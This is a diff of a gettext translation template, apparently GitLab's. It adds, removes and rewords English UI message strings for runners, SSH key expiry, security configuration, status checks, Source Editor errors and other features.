@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
